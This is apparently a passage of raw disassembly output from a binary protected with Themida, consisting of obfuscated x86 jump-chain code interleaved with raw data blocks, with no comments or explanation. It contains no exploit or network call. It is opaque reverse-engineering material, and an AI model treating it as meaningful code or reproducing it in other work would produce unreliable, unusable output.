		dd 0FF3CE0E9h, 4C685AFFh, 89000025h, 5BE9243Ch,	5CFFFFEEh
		dd 0F405D829h, 8B1FFB2Eh, 0C483241Ch, 7E1D6804h, 34890000h
		dd 6E35BE24h, 0EE811601h, 5470920h, 57E95452h, 59FFFF59h
		dd 28BD5558h, 45217557h, 3E91F581h, 0E831462Fh,	0E9C7215Dh
		dd 0FFFF855Ch, 83240C8Bh, 0F22904C4h, 5BC9E950h, 0E2890000h
		dd 4B850h, 83550000h, 6EE904ECh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5614EF:				; CODE XREF: Themida_:00560151j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2B8D5A8Ah
		dec	esi
		xor	esi, 0F3CBF0F3h
		jmp	loc_5568D5
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0D104C483h, 89D5E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56151A:				; CODE XREF: Themida_:0055EA50j
		shr	ebx, 7
		dec	ebx
		xor	ebx, offset byte_548285
		sub	esp, 4
		jmp	loc_55DF9B
; ---------------------------------------------------------------------------

loc_56152F:				; CODE XREF: Themida_:0055ABF7j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559CB1
; ---------------------------------------------------------------------------

loc_56153D:				; CODE XREF: Themida_:0055FDD6j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 3CAE5768h
		and	ecx, 61384F0Dh
		jmp	loc_55BBFE
; ---------------------------------------------------------------------------
		db 83h
		dd 0C3304E9h, 3573E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561566:				; CODE XREF: Themida_:005626B7j
		pop	edi
		sub	edx, 271E3ED1h
		sub	edx, ecx
		add	edx, 271E3ED1h
		jmp	loc_5610F9
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 73E94E01h, 81000020h, 4C4h, 7C98100h, 8130237Bh, 1205B2E1h
		dd 0F1E9811Ah, 0E9CE70A9h, 0FFFF94BFh, 0E9240489h, 0FFFFF88Eh
		dd 8491F281h, 0D6319EA6h, 5524148Bh, 631BE9h, 243C8700h
		dd 3CE9565Ch, 0F7FFFFDCh, 5DC281D2h, 4A07486Ch,	0AABCC281h
		dd 0D5293BD4h, 8324148Bh, 8DE904C4h, 5FFFFA6h, 4, 0E9240433h
		dd 69B9h, 24048B66h, 7C0268h, 240C8900h, 0BB535954h, 3ED14BDCh
		dd 0F3E95251h, 81000012h, 0FC264CEAh, 4FE94250h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561613:				; CODE XREF: Themida_:0055B965j
		mov	esi, 4C364C0Fh
		add	ebx, esi
		pop	esi
		jmp	loc_567978
; ---------------------------------------------------------------------------
		dd 4E8C148h, 0E3F2D40h,	0E95726A9h, 0FFFF38E9h,	4C18159h
		dd 56000000h, 0F3B9E952h, 875EFFFFh, 895C240Ch,	0E954243Ch
		dd 26A8h, 8012EE80h, 0CE801FC6h, 0FEDEF643h, 0A6E950C6h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56165F:				; CODE XREF: Themida_:00554FB5j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_565002
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 0E900207Fh, 569Bh, 8102E9C1h, 6240EDE1h, 0ADC98137h
		dd 0F7087478h, 0B11EE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56168A:				; CODE XREF: Themida_:00566F0Bj
		sub	edi, 0DA602555h
		sub	ebp, 4C95E8Bh
		add	ebp, edi
		add	ebp, 4C95E8Bh
		pop	edi
		xor	ebp, 2132CFCh
		push	ebx
		jmp	loc_55A466
; ---------------------------------------------------------------------------

loc_5616AB:				; CODE XREF: Themida_:00553CBEj
		push	23C4h
		jmp	loc_55B005
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2E16BB53h, 0A2E9668Eh, 8100000Bh, 4ECh, 24248900h, 0FF7B9FE9h
		dd 24348BFFh, 5604C483h, 5378E9h, 39685500h, 5D518C48h
		dd 5A51E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5616EA:				; CODE XREF: Themida_:0055B9A5j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		jmp	loc_55CAD3
; ---------------------------------------------------------------------------

loc_5616FC:				; CODE XREF: Themida_:0055A7ACj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5554A3
; ---------------------------------------------------------------------------
		db 59h,	1, 0EEh
		dd 81242C8Bh, 4C4h, 74FF5600h, 8F5E0424h, 0E95C2404h, 5F20h
		dd 67696852h, 4890000h,	1CD26824h, 89585C1Bh, 24048BC2h
		dd 8104C483h, 0D82F03CAh, 0CCF28154h, 0E94C6F6Bh, 0FFFFFE58h
		dd 4BDh, 5DE82900h, 31240433h, 4332404h, 0F5E95C24h, 68000071h
		dd 420879A4h, 69F2815Ah, 0E928260Fh, 3F7h, 348BF531h, 4C48124h
		dd 81000000h, 6C0218C2h, 51EA2941h, 6C0218B9h, 0E9CA2941h
		dd 0FFFF7CC3h, 0E73EE4B9h, 82F8E93Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5617A2:				; CODE XREF: Themida_:0055D59Fj
		mov	[esp], edi
		push	417225A7h
		pop	edi
		jmp	loc_554DD2
; ---------------------------------------------------------------------------

loc_5617B0:				; CODE XREF: Themida_:0055E601j
		mov	[esp], edi
		jmp	loc_55B6ED
; ---------------------------------------------------------------------------

loc_5617B8:				; CODE XREF: Themida_:00565B43j
		sub	esi, 34D073E8h
		jmp	loc_563669
; ---------------------------------------------------------------------------
		db 53h
		dd 0FB12DABBh, 0EACB816Dh, 0F7414C31h, 0AA77E9DBh, 0F180FFFFh
		dd 0FED1F6F0h, 0B0F180C1h, 0C8280004h, 0E959002Ch, 2F2Eh
; ---------------------------------------------------------------------------

loc_5617EC:				; CODE XREF: Themida_:00554A79j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		push	ebp
		push	ecx
		mov	ecx, 47CE4F8Ah
		inc	ecx
		or	ecx, 4E9D4290h
		jmp	loc_5624EB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 14C381DBh, 0D1431952h, 4AE381E3h, 0C14FD45Eh, 0EB8105EBh
		dd 5E02ECh, 7CE9DF01h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56182B:				; CODE XREF: Themida_:005597E7j
		sub	ecx, 51CD7843h
		jmp	loc_55DB8A
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 7CEE81EEh, 0E90ED769h, 0FFFF1A4Eh
; ---------------------------------------------------------------------------

loc_561844:				; CODE XREF: Themida_:005540DFj
		add	eax, 0BBEED5CDh
		xor	ebx, eax
		pop	eax
		dec	ebx
		xor	ebx, 778907FDh
		push	edi
		jmp	loc_555411
; ---------------------------------------------------------------------------
		db 51h,	68h, 4Ah
		dd 54000006h, 0FFEA4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561865:				; CODE XREF: Themida_:0055F479j
		and	ebp, 5310123Dh
		xor	ebp, 7F5804CFh
		jmp	loc_560ED8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2EAC124h, 4141BE56h,	0C68167A8h, 99C70DEDh, 15EF231h
		dd 24148BD5h, 0E9E28952h, 0FFFFC0C3h
; ---------------------------------------------------------------------------

loc_561898:				; CODE XREF: Themida_:0055FBB4j
		sub	edi, 126FCE1Dh
		jmp	loc_5626FB
; ---------------------------------------------------------------------------
		db 29h
		dd 0F8E981D9h, 5B00252Bh, 6954A205h, 57C80167h,	5CC6E9h
		dd 0BD555D00h, 4, 875DEB29h, 895C241Ch,	2CE9241Ch, 81000016h
		dd 4E9h, 240C8700h, 2404895Ch, 0EC835854h, 242C8904h, 0FFAD97E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5618E9:				; CODE XREF: Themida_:00566F5Bj
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 8455E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5618FA:				; CODE XREF: Themida_:00564A7Ej
		pop	ebp
		jmp	loc_568852
; ---------------------------------------------------------------------------
		dd 582434FFh, 504C483h,	4, 3304C083h, 4312404h,	489EE924h
		dd 0EDBDFFFFh, 21055F0Dh, 0BD555DE9h, 0D86454Fh, 505DE921h
		dd 60049B8h, 58C13105h,	0FF2A25E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561939:				; CODE XREF: Themida_:005588CBj
		dec	ah
		not	ah
		sub	ah, 0BCh
		sub	bl, ah
		pop	eax
		add	bl, 0E7h
		add	bl, al
		sub	bl, 0E7h
		push	eax
		push	ebx
		mov	bl, 4Fh
		jmp	loc_562F8B
; ---------------------------------------------------------------------------
		dd 7F2D68h, 1F68E900h, 0E3C10000h, 0AEB85007h, 83640C70h
		dd 65E901E8h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56196F:				; CODE XREF: Themida_:00561C76j
		sub	esp, 4
		jmp	loc_565275
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 0BAE9240Ch, 8F000017h, 1AE94047h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56198B:				; CODE XREF: Themida_:0055589Ej
		xor	edx, 4B0F6955h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564635
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF1761h, 51E8005Ah, 0FF8C2CE9h, 0BA525DFFh, 57327AC5h
		dd 853FC281h, 7FE9A8CDh, 8300004Ah, 0C3304C4h, 240C3124h
		dd 0E9240C33h, 0FFFFF70Ah, 4EC81h, 14890000h, 53E28924h
		dd 9568EBBBh, 3AE38133h, 0F76FCA48h, 0F5BE56D3h, 31501D21h
		dd 1D56E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5619F6:				; CODE XREF: Themida_:0055BA60j
		pop	ebx
		neg	edi
		sub	edi, 4A370C1Bh
		push	ebx
		mov	ebx, 447B61B4h
		sub	edi, ebx
		jmp	loc_560421
; ---------------------------------------------------------------------------
		dd 1ECCBB53h, 0CE68417Fh, 0E9000048h, 21AAh, 757305B9h
		dd 81D9F72Ah, 0CC337AE9h, 59CD29FDh, 0E95DEB01h, 0FFFFD57Fh
		dd 0C781E789h, 4, 2BB53h, 0DF010000h, 0EFEBE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561A4A:				; CODE XREF: Themida_:00553E53j
		mov	ecx, 295E276Dh
		shl	ecx, 6
		jmp	loc_566FED
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 13E95824h, 0C1FFFF80h, 0C18104E1h, 61A91382h
		dd 109FC581h, 0E6E94140h, 58FFFF1Bh, 1522B850h,	0C73142D1h
		dd 0C7F78158h, 0E902C241h, 0FFFF509Fh
; ---------------------------------------------------------------------------

loc_561A8C:				; CODE XREF: Themida_:0055D1F1j
		sub	ebx, eax
		sub	ebx, 759B6D97h
		pop	eax
		add	ebx, 0A004EA2Ah
		sub	esi, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55A7F3
; ---------------------------------------------------------------------------

loc_561AB4:				; CODE XREF: Themida_:00557B0Fj
		mov	ebp, 8582C7Eh
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 8582C7Bh
		sub	ebx, 390119EFh
		jmp	loc_556410
; ---------------------------------------------------------------------------
		dd 0CD2DABB8h, 0DD8F743h, 69A664A3h, 0FFB10EE9h, 8BDA01FFh
		dd 0C483241Ch, 5BACE904h, 87500000h, 0F757243Ch, 315F2414h
		dd 3C33243Ch, 3F95E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561B02:				; CODE XREF: Themida_:00568BFFj
		shr	eax, 2
		or	eax, 71A67253h
		jmp	loc_5648F0
; ---------------------------------------------------------------------------

loc_561B0F:				; CODE XREF: Themida_:0055A857j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_558C23
; ---------------------------------------------------------------------------

loc_561B1A:				; CODE XREF: Themida_:005587F0j
		add	esp, 4
		add	esp, 4
		jmp	loc_55B15D
; ---------------------------------------------------------------------------

loc_561B28:				; CODE XREF: Themida_:005635A7j
		push	0CF7h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_557343
; ---------------------------------------------------------------------------

loc_561B36:				; CODE XREF: Themida_:00559F6Fj
		mov	edx, ecx
		pop	ecx
		jmp	loc_559F74
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 545AA4A7h, 0E95BDF01h, 0FFFF1A86h, 0E908E3C1h, 0FFFFC9D9h
; ---------------------------------------------------------------------------

loc_561B54:				; CODE XREF: Themida_:00553C40j
		sub	ebx, esi
		add	ebx, 440F4AA2h
		pop	esi
		sub	ebx, 71521230h
		push	edi
		jmp	loc_55A1E0
; ---------------------------------------------------------------------------
		db 46h,	0E9h, 0FEh
		dd 0C1000046h, 0E1E905E2h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561B77:				; CODE XREF: Themida_:005575EDj
		mov	edi, edx
		pop	edx
		inc	edi
		or	edi, 6CAE2BB5h
		dec	edi
		not	edi
		jmp	loc_564331
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 2C48124h, 0E9000000h, 37CEh,	7904EF81h, 2C8B5A0Ah, 6873E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561BA6:				; CODE XREF: Themida_:00555D87j
		add	esp, 4
		sub	ebp, 161A3BF5h
		pop	edx
		and	ecx, ebp
		jmp	loc_5671CC
; ---------------------------------------------------------------------------

loc_561BBA:				; CODE XREF: Themida_:005640AEj
		and	al, dh
		pop	edx
		push	bx
		mov	bh, al
		dec	bh
		mov	al, bh
		mov	bx, [esp]
		add	esp, 2
		sub	al, 0FFh
		shr	al, 2
		jmp	loc_566562
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 53E6B924h, 0BD551584h, 3FAD76AFh, 29E9E909h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561BEB:				; CODE XREF: Themida_:00567E77j
		add	ebx, 43D20B0Fh
		mov	esi, [esp]
		push	eax
		jmp	loc_555890
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 8A77322h, 0FF3776E9h, 148B5BFFh, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 0E9241487h, 0FFFF62F9h, 4C6268h, 240C8900h
		dd 0BFE97EB1h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561C2F:				; CODE XREF: Themida_:0055D7A0j
		mov	edi, 1504070Bh
		sub	ecx, edi
		pop	edi
		sub	ecx, 6D9E8288h
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_555508
; ---------------------------------------------------------------------------
		dd 0B0240489h, 29B55100h, 59EE88h, 24048BC6h, 0BECEE952h
		dd 0C281FFFFh, 4, 5C241487h, 0E904EC83h, 0FFFF7924h
; ---------------------------------------------------------------------------

loc_561C70:				; CODE XREF: Themida_:0055349Aj
		add	ecx, 4
		jmp	loc_56196F
; ---------------------------------------------------------------------------

loc_561C7B:				; CODE XREF: Themida_:005659A1j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_565F45
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0FA682404h, 8900007Dh, 0E2892414h, 0BB85056h, 89554170h
		dd 24048BC6h, 0FF34B1E9h, 0F7DFF7FFh, 49CF87D7h, 65E9D1F7h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561CB3:				; CODE XREF: Themida_:00562205j
		mov	ebx, esp
		jmp	loc_562A58
; ---------------------------------------------------------------------------

loc_561CBA:				; CODE XREF: Themida_:0055E087j
		xor	edx, [esp]
		jmp	loc_554882
; ---------------------------------------------------------------------------

loc_561CC2:				; CODE XREF: Themida_:0055BAA1j
		mov	esp, [esp]
		push	1D6Ch
		mov	[esp], ebx
		jmp	loc_568BF4
; ---------------------------------------------------------------------------

loc_561CD2:				; CODE XREF: Themida_:00556416j
		add	ebx, ebp
		add	ebx, 0ED32902h
		add	ebx, 390119EFh
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5604AB
; ---------------------------------------------------------------------------
		dd 0E6793BDh, 0C1C58124h, 0F7520A48h, 4437E9DDh, 24890000h
		dd 6662E924h, 515A0000h, 3406E9h, 22E95100h, 0C0FFFF8Dh
		dd 0F58003EDh, 1E68E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561D1E:				; CODE XREF: Themida_:005680E2j
		mov	ecx, [esp]
		push	edx
		jmp	loc_5657D0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041858h, 0D28EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561D36:				; CODE XREF: Themida_:0055CEC3j
		mov	ebx, 4D2A3278h
		sub	eax, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55B03C
; ---------------------------------------------------------------------------

loc_561D46:				; CODE XREF: Themida_:005683FAj
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 0F5CB5AF0h
		and	eax, ebp
		mov	ebp, [esp]
		push	5B98h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55BE25
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55E8FE
; ---------------------------------------------------------------------------

loc_561D97:				; CODE XREF: Themida_:00555FB9j
		not	eax
		shl	eax, 1
		not	eax
		add	eax, 0BA4DADD4h
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, 259247E9h
		jmp	loc_5635D2
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 16296824h, 1C890000h, 4CECBB24h
		dd 0F3812A82h, 1BA67A4Ch, 0FF5B8AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561DE5:				; CODE XREF: Themida_:00567AABj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_556DDA
; ---------------------------------------------------------------------------
aPg@s@		db 'G@S»@',0
		align 4
		dd 0EC81FB01h, 4, 0E9241489h, 0FFFFCC4Bh, 0E9241489h, 1E1Ah
		dd 70240481h, 5E499211h, 0FF81E4E9h, 0C68159FFh, 4, 0E9243487h
		dd 363Eh, 495473BBh, 81D3F74Ah,	5F36D0EBh, 8BD901AEh, 7EE9241Ch
		dd 81000036h, 0F94848C6h, 243C8B62h, 6485E9h
		db 0
; ---------------------------------------------------------------------------

loc_561E61:				; CODE XREF: Themida_:00565BF1j
		mov	ebx, 4
		jmp	loc_555951
; ---------------------------------------------------------------------------

loc_561E6B:				; CODE XREF: Themida_:0055E5BDj
		xor	ebp, 9A65F08h
		sub	esi, 5C703320h
		add	esi, 4C17165Ch
		sub	esi, ebp
		sub	esi, 4C17165Ch
		add	esi, 5C703320h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_566711
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 5453241Ch, 4EC835Bh, 0BE243489h, 63715C1Ah
		dd 4405B850h, 820D7A92h, 53F3019h, 64247A31h, 0FF8157E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561ED5:				; CODE XREF: Themida_:0055A7FBj
		mov	[esp], edi
		mov	edi, 5BB875DDh
		add	edi, 15F3F575h
		add	esi, edi
		jmp	loc_553738
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 7A77286Ah, 0FF33F8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561EF5:				; CODE XREF: Themida_:0056285Fj
		mov	ecx, esp
		push	esi
		mov	esi, 4
		jmp	loc_55ACBC
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0FFF111E9h, 5BDD31FFh, 0DDF58145h, 1BB15CDh,	5269E9EEh
		dd 56410000h, 2395A6BEh, 3AC6E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F26:				; CODE XREF: Themida_:005531F9j
		mov	ebx, 4C233631h
		and	eax, ebx
		pop	ebx
		jmp	loc_5548B8
; ---------------------------------------------------------------------------
		db 0C0h
		dd 505105E6h, 0FFF3AFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F3D:				; CODE XREF: Themida_:00564BB5j
		mov	eax, 70485842h
		push	7B5Eh
		mov	[esp], edi
		jmp	loc_565056
; ---------------------------------------------------------------------------
		db 51h
		dd 0E1C086B1h, 0F6516607h, 59662414h, 0FFC78EE9h, 8FED81FFh
		dd 53B6AEFAh, 0FF8F44E9h, 241C33FFh, 33241C31h,	895C241Ch
		dd 54522414h, 81E9535Ah, 1FFFF8Fh, 3919E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F8A:				; CODE XREF: Themida_:0055ED36j
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_55E7A9
; ---------------------------------------------------------------------------
		align 2
		dw 5AD0h
		dd 0FFEC7DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561FA1:				; CODE XREF: Themida_:0055B6C0j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_557EB0
; ---------------------------------------------------------------------------

loc_561FB1:				; CODE XREF: Themida_:00566A40j
		and	dl, ah
		pop	eax
		xor	dl, 0Ah
		push	ebx
		mov	bh, 1Dh
		and	dl, bh
		jmp	loc_558DD1
; ---------------------------------------------------------------------------

loc_561FC1:				; CODE XREF: Themida_:00565F40j
		sub	edi, 22281FF2h
		jmp	loc_56284E
; ---------------------------------------------------------------------------
		dd 5804C483h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 4BE2434h, 2D000000h,	9992CBAh, 0BA05F001h, 0FF09992Ch
		dd 348B2434h, 4C48124h,	83000000h, 148904ECh, 81E28924h
		dd 4C2h, 4B95100h, 81000000h, 292830C2h, 0E9CA017Dh, 17EFh
		dd 0FC194EBAh, 814A4A2Eh, 7F23F0F2h, 39E2810Fh,	68792518h
		dd 3A49h, 0E9242C89h, 0FFFF3FE2h, 0E95DEB01h, 535Dh, 81240C8Bh
		dd 4C4h, 68C33000h, 5D4Ah, 52240C89h, 0D188C288h, 0B1E9525Ah
		dd 8BFFFF97h, 0C483243Ch, 4EC8304h, 0E9241C89h,	0FFFF38EBh
		dd 1CD5E95Ah, 0CD310000h, 0D6E9h, 240C3100h, 0FF1DC7E9h
		dd 2C77FFFFh, 0FF100CE9h, 2E1C1FFh, 0FF8E41E9h,	2404FFFFh
		dd 0E3DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5620A9:				; CODE XREF: Themida_:00568183j
		mov	eax, [esp]
		jmp	loc_560AE5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0E8h
		dd 81132A75h, 2449CAF2h, 0DF2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5620C2:				; CODE XREF: Themida_:00562B4Ej
		not	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55C15D
; ---------------------------------------------------------------------------
		dd 2AFAE95Fh, 0D000FFFFh, 36CEE9h, 0E2895200h, 4C281h
		dd 0DFE90000h, 0B8000009h, 4, 3358C501h, 2C31242Ch, 242C3324h
		dd 0FF6AA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562101:				; CODE XREF: Themida_:00561293j
		xor	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 50DD4E2Dh
		add	ebx, 873544Ch
		sub	ebx, 0E5DD5E2Ch
		xor	ebx, 54186A85h
		jmp	loc_56598A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 36h
		dd 57721629h, 5F2414F7h, 6E7C147h, 4D84C781h, 5EE9858Ah
		dd 0F700002Ch, 33F781DFh, 4753371Ch, 63DDC781h,	0EF816DD9h
		dd 9C4577BDh, 3C8BFD89h, 4C48324h, 50E9EDD1h, 8BFFFF55h
		dd 44E9240Ch
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562167:				; CODE XREF: Themida_:00558917j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_55FCCB
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FF6E02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56217D:				; CODE XREF: Themida_:0056398Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_562D80
; ---------------------------------------------------------------------------

loc_56218A:				; CODE XREF: Themida_:00557052j
		mov	ecx, ebx
		pop	ebx
		push	260Ch
		mov	[esp], edi
		mov	edi, 0E821B1Ah
		jmp	loc_5633E5
; ---------------------------------------------------------------------------

loc_56219F:				; CODE XREF: Themida_:0055A51Aj
		add	eax, 0F4E6D45h
		add	eax, 1858457Dh
		push	ebp
		jmp	loc_55EA20
; ---------------------------------------------------------------------------
		db 81h
		dd 5238FBC5h, 0ED835E48h, 242C8702h, 489665Ch, 0EDFE924h
		dd 4368FFFFh, 89000070h, 0E389241Ch, 4C381h, 0EC810000h
		dd 4, 0E9241489h, 0FFFF104Eh, 8859C888h, 285866C7h, 805B66FEh
		dd 0C1E944E6h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5621F7:				; CODE XREF: Themida_:00558A7Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_561CB3
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 5C242C87h, 76DFC381h, 0E9515E8Eh,	3DD5h
; ---------------------------------------------------------------------------

loc_562220:				; CODE XREF: Themida_:0055E2B3j
		mov	ebx, 45C47460h
		sub	edx, ebx
		pop	ebx
		add	edx, 15371617h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5623C2
; ---------------------------------------------------------------------------

loc_562238:				; CODE XREF: Themida_:0055C6E3j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_555B19
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 0FCB1FCF2h, 5AD701DEh, 5704C783h, 70FE9h, 5F66800h
		dd 2C890000h, 92685624h, 5E758762h, 7EE3C681h, 10E967DBh
		dd 81FFFF64h, 4C7h, 5371E900h, 0F5B2FFFFh, 8058F280h, 0D40076C2h
		dd 44EC805Ah, 8108E4C0h, 2ECh, 1C896600h, 80B0B324h, 0DC00B1F3h
		dd 0C4805B66h, 32B3E993h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5622B6:				; CODE XREF: Themida_:0056438Aj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_553DD7
; ---------------------------------------------------------------------------
		db 4, 5, 5Ah
		dd 203FE952h, 5966FFFFh, 240C8B66h, 81E78957h, 4C7h, 2C78300h
		dd 5C243C87h, 0C02BB252h, 0CA8007E2h, 0EFEA80B8h, 0FF18FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5622F1:				; CODE XREF: Themida_:00559B86j
		mov	[esp], edx
		mov	edx, 177A5Eh
		sub	edi, edx
		pop	edx
		jmp	loc_55E5C2
; ---------------------------------------------------------------------------
		db 88h,	0C8h, 53h
		dd 0DA88C388h, 8159585Bh, 4ECh,	0AC57E900h, 0F001FFFFh
		dd 422F832Dh, 0BF575623h, 2DA70E0Dh, 18BE5647h,	0E96CA56Eh
		dd 0FFFF9DADh
; ---------------------------------------------------------------------------

loc_562330:				; CODE XREF: Themida_:0055E79Bj
		pop	ebx
		add	esi, 593A0496h
		add	esi, eax
		sub	esi, 593A0496h
		jmp	loc_55E4AE
; ---------------------------------------------------------------------------
		dd 0FA30ECB2h, 0FF10B2E9h, 80E581FFh, 8105C059h, 5FF382EDh
		dd 8BE88982h, 0C483242Ch, 0DE94004h, 5CFFFFCAh,	4C281h
		dd 0C2830000h, 24143304h, 0FF76F2E9h, 4A30FFFh,	0E3E99C24h
		dd 2DFFFF11h, 771C5013h, 1305F801h, 5F771C50h, 0B734B05h
		dd 2DD8014Fh, 4F0B734Bh, 9D60722Dh, 5A4F2D00h, 55525DD5h
		dd 4F59F2BDh, 4EDC17Dh,	2042CD81h, 6EE95B60h, 54FFFFE6h
		dd 7840E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5623C2:				; CODE XREF: Themida_:00562233j
		or	eax, eax
		jmp	loc_55AF3B
; ---------------------------------------------------------------------------
		db 88h,	0DCh, 5Bh
		dd 5A58E188h, 241C8B66h, 0FF9943E9h, 74FF52FFh,	8F5A0424h
